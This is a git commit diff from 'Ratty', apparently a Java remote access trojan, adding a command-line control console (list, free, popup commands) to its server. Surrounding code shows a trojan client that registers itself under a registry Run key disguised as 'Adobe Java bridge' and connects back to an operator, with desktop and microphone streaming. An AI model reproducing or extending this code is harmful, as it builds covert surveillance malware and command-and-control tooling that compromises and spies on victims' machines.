Browse Source

Small changes

Further command line support development
master
Sogomn 9 years ago
parent
commit
cf1b74687a
  1. 12
      Ratty/res/language/lang.properties
  2. 12
      Ratty/res/language/lang_de.properties
  3. 12
      Ratty/res/language/lang_en.properties
  4. 52
      Ratty/src/de/sogomn/rat/Ratty.java
  5. 2
      Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
  6. 122
      Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java
  7. 9
      Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java
  8. 148
      Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java
  9. 2
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  10. 5
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

12
Ratty/res/language/lang.properties

@ -2,7 +2,8 @@ debug.question=Server or client?
debug.server=Server
debug.client=Client
server.port_message=Which port should the server be bind to?
server.port_question=Which port should the server be bind to?
server.port_error=Invalid port.
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
@ -32,3 +33,12 @@ column.os=OS
column.version=Version
column.desktop=Streaming desktop
column.voice=Streaming voice
cmd.help=HELP: Prints this\r\n\
LIST: Lists all connections\r\n\
EXIT: Well...\r\n\
FREE <CLIENT>: Frees a client\r\n\
POPUP <CLIENT> <STRING>: Shows a popup on the client's device\r\n\
\r\n\
<CLIENT>: Either a number (the index) or an IP address\r\n\
<STRING>: A string

12
Ratty/res/language/lang_de.properties

@ -2,7 +2,8 @@ debug.question=Server oder Client?
debug.server=Server
debug.client=Client
server.port_message=An welchen Port soll der Server gebunden werden?
server.port_question=An welchen Port soll der Server gebunden werden?
server.port_error=Ungültiger Port.
builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
builder.port_question=Welcher Port?
@ -32,3 +33,12 @@ column.os=OS
column.version=Version
column.desktop=Desktopstream
column.voice=Mikrofonstream
cmd.help=HELP: Gibt das hier aus\r\n\
LIST: Gibt alle Verbindungen aus\r\n\
EXIT: Naja...\r\n\
FREE <CLIENT>: Befreit den Client\r\n\
POPUP <CLIENT> <STRING>: Öffnet ein Popupfenster beim Client\r\n\
\r\n\
<CLIENT>: Entweder eine Nummer (der Index) oder eine IP-Adresse\r\n\
<STRING>: Eine Zeichenkette

12
Ratty/res/language/lang_en.properties

@ -2,7 +2,8 @@ debug.question=Server or client?
debug.server=Server
debug.client=Client
server.port_message=Which port should the server be bind to?
server.port_question=Which port should the server be bind to?
server.port_error=Invalid port.
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
@ -32,3 +33,12 @@ column.os=OS
column.version=Version
column.desktop=Streaming desktop
column.voice=Streaming voice
cmd.help=HELP: Prints this\r\n\
LIST: Lists all connections\r\n\
EXIT: Well...\r\n\
FREE <CLIENT>: Frees a client\r\n\
POPUP <CLIENT> <STRING>: Shows a popup on the client's device\r\n\
\r\n\
<CLIENT>: Either a number (the index) or an IP address\r\n\
<STRING>: A string

52
Ratty/src/de/sogomn/rat/Ratty.java

@ -13,15 +13,20 @@ import javax.swing.UIManager;
import javax.swing.plaf.nimbus.NimbusLookAndFeel;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.server.AbstractRattyController;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.cmd.RattyCmdController;
import de.sogomn.rat.server.gui.RattyGuiController;
/*
* This class is kinda hardcoded.
* I don't care.
* Sue me.
*/
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.2";
public static final String VERSION = "1.3";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;
@ -35,8 +40,10 @@ public final class Ratty {
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME;
private static final String STARTUP_COMMAND = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java.exe";
private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_COMMAND + " " + STARTUP_FILE_PATH + "\"";
private static final String NO_GUI_COMMAND = "NOGUI";
private static final String PORT_INPUT_MESSAGE = LANGUAGE.getString("server.port_message");
private static final String PORT_INPUT_QUESTION = LANGUAGE.getString("server.port_question");
private static final String PORT_ERROR_MESSAGE = LANGUAGE.getString("server.port_error");
private static final String DEBUG_MESSAGE = LANGUAGE.getString("debug.question");
private static final String DEBUG_SERVER = LANGUAGE.getString("debug.server");
private static final String DEBUG_CLIENT = LANGUAGE.getString("debug.client");
@ -83,9 +90,7 @@ public final class Ratty {
}
}
private static int getPortInput() {
final String input = JOptionPane.showInputDialog(PORT_INPUT_MESSAGE);
private static int parsePort(final String input) {
try {
final int port = Integer.parseInt(input);
@ -99,6 +104,12 @@ public final class Ratty {
}
}
private static int getPortInput() {
final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION);
return parsePort(input);
}
public static void connectToHost(final String address, final int port) {
final ActiveConnection newClient = new ActiveConnection(address, port);
final Trojan trojan = new Trojan();
@ -120,10 +131,15 @@ public final class Ratty {
newClient.start();
}
public static void startServer(final int port) {
public static void startServer(final int port, final boolean gui) {
final ActiveServer server = new ActiveServer(port);
final RattyGui gui = new RattyGui();
final RattyGuiController controller = new RattyGuiController(gui);
final AbstractRattyController controller;
if (gui) {
controller = new RattyGuiController();
} else {
controller = new RattyCmdController();
}
server.setObserver(controller);
server.start();
@ -140,7 +156,7 @@ public final class Ratty {
if (input == JOptionPane.YES_OPTION) {
System.out.println(DEBUG_SERVER);
startServer(port);
startServer(port, true);
} else if (input == JOptionPane.NO_OPTION) {
System.out.println(DEBUG_CLIENT);
@ -149,11 +165,23 @@ public final class Ratty {
} else if (client) {
addToStartup();
connectToHost(address, port);
} else {
if (args.length >= 2 && args[0].equalsIgnoreCase(NO_GUI_COMMAND)) {
final int port = parsePort(args[1]);
if (port != -1) {
startServer(port, false);
} else {
System.out.println(PORT_ERROR_MESSAGE);
}
} else {
final int port = getPortInput();
if (port != -1) {
startServer(port);
startServer(port, true);
} else {
JOptionPane.showMessageDialog(null, PORT_ERROR_MESSAGE);
}
}
}
}

2
Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

@ -9,7 +9,7 @@ import de.sogomn.rat.packet.InformationPacket;
public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver {
private ArrayList<ActiveConnection> connections;
protected ArrayList<ActiveConnection> connections;
public AbstractRattyController() {
connections = new ArrayList<ActiveConnection>();

122
Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java

@ -0,0 +1,122 @@
package de.sogomn.rat.server.cmd;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.stream.Stream;
import de.sogomn.engine.util.AbstractListenerContainer;
public final class CommandLineReader extends AbstractListenerContainer<ICommandLineListener> {
private BufferedReader reader;
private Thread thread;
private static final String ARGUMENT_SEPARATOR = " ";
public CommandLineReader() {
final InputStreamReader inReader = new InputStreamReader(System.in);
reader = new BufferedReader(inReader);
}
private String readLine() {
try {
final String line = reader.readLine();
return line;
} catch (final IOException ex) {
return null;
}
}
public void start() {
final Runnable runnable = () -> {
while (true) {
final String line = readLine();
if (line != null) {
final Command command = Command.parse(line);
notifyListeners(listener -> listener.commandInput(command));
}
}
};
thread = new Thread(runnable);
thread.start();
}
public void stop() {
thread.interrupt();
thread = null;
}
public static final class Command {
private final String command;
private final String[] arguments;
public static final Command EMPTY = new Command("");
public Command(final String command, final String... arguments) {
this.command = command;
this.arguments = arguments;
}
@Override
public boolean equals(final Object obj) {
if (this == obj) {
return true;
} else if (obj == null || getClass() != obj.getClass() || command == null) {
return false;
}
final Command other = (Command)obj;
final boolean equals = command.equalsIgnoreCase(other.command);
return equals;
}
public boolean equals(final String string) {
if (command == null || string == null) {
return false;
}
return command.equalsIgnoreCase(string);
}
@Override
public String toString() {
return command;
}
public String argument(final int index) {
if (index < 0 || index > arguments.length - 1) {
return null;
}
return arguments[index];
}
public static Command parse(final String line) {
final String[] parts = line.split(ARGUMENT_SEPARATOR);
if (parts.length == 0) {
return EMPTY;
}
final String commandString = parts[0];
final String[] arguments = Stream
.of(parts)
.skip(1)
.filter(part -> part != null && !part.isEmpty())
.toArray(String[]::new);
final Command command = new Command(commandString, arguments);
return command;
}
}
}

9
Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java

@ -0,0 +1,9 @@
package de.sogomn.rat.server.cmd;
import de.sogomn.rat.server.cmd.CommandLineReader.Command;
public interface ICommandLineListener {
void commandInput(final Command command);
}

148
Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java

@ -0,0 +1,148 @@
package de.sogomn.rat.server.cmd;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.Ratty;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.server.AbstractRattyController;
import de.sogomn.rat.server.cmd.CommandLineReader.Command;
public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener {
private CommandLineReader reader;
private static final String FREE = "Free";
private static final String EXIT = "Exit";
private static final String LIST = "List";
private static final String POPUP = "Popup";
private static final String HELP = "Help";
private static final String HELP_STRING = Ratty.LANGUAGE.getString("cmd.help");
public RattyCmdController() {
reader = new CommandLineReader();
reader.addListener(this);
reader.start();
}
private int parseIndexSafely(final String string) {
if (string == null) {
return -1;
}
try {
final int number = Integer.parseInt(string);
return number;
} catch (final NumberFormatException ex) {
return -1;
}
}
private ActiveConnection getConnectionByIndex(final int index) {
if (index < 0 || index > connections.size() - 1) {
return null;
}
return connections.get(index);
}
private ActiveConnection getConnectionByAddress(final String address) {
if (address == null) {
return null;
}
for (final ActiveConnection connection : connections) {
final String connectionAddress = connection.getAddress();
if (connectionAddress.equals(address)) {
return connection;
}
}
return null;
}
private ActiveConnection getConnection(final String input) {
if (input == null) {
return null;
}
final int index = parseIndexSafely(input);
final ActiveConnection connection;
if (index != -1) {
connection = getConnectionByIndex(index);
} else {
connection = getConnectionByAddress(input);
}
return connection;
}
/*
* ==================================================
* HANDLING
* ==================================================
*/
private void freeClient(final Command command) {
final String input = command.argument(0);
final ActiveConnection connection = getConnection(input);
if (connection != null) {
final FreePacket packet = new FreePacket();
connection.addPacket(packet);
}
}
private void listClients() {
connections.stream().forEach(connection -> {
final int index = connections.indexOf(connection);
System.out.println(index + ": " + connection.getAddress());
});
}
private void sendPopup(final Command command) {
final String connectionInput = command.argument(0);
final ActiveConnection connection = getConnection(connectionInput);
final String message = command.argument(1);
if (connection != null && message != null) {
final PopupPacket packet = new PopupPacket();
connection.addPacket(packet);
}
}
/*
* ==================================================
* HANDLING END
* ==================================================
*/
@Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
//...
}
@Override
public void commandInput(final Command command) {
if (command.equals(EXIT)) {
System.exit(0);
} else if (command.equals(FREE)) {
freeClient(command);
} else if (command.equals(LIST)) {
listClients();
} else if (command.equals(POPUP)) {
sendPopup(command);
} else if (command.equals(HELP)) {
System.out.println(HELP_STRING);
}
}
}

2
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -32,7 +32,7 @@ import de.sogomn.engine.fx.SpriteSheet;
import de.sogomn.engine.util.AbstractListenerContainer;
import de.sogomn.engine.util.ImageUtils;
public final class RattyGui extends AbstractListenerContainer<IGuiController> {
final class RattyGui extends AbstractListenerContainer<IGuiController> {
private JFrame frame;

5
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -38,9 +38,8 @@ public final class RattyGuiController extends AbstractRattyController implements
private HashMap<ActiveConnection, ServerClient> clients;
public RattyGuiController(final RattyGui gui) {
this.gui = gui;
public RattyGuiController() {
gui = new RattyGui();
clients = new HashMap<ActiveConnection, ServerClient>();
gui.addListener(this);

Loading…
Cancel
Save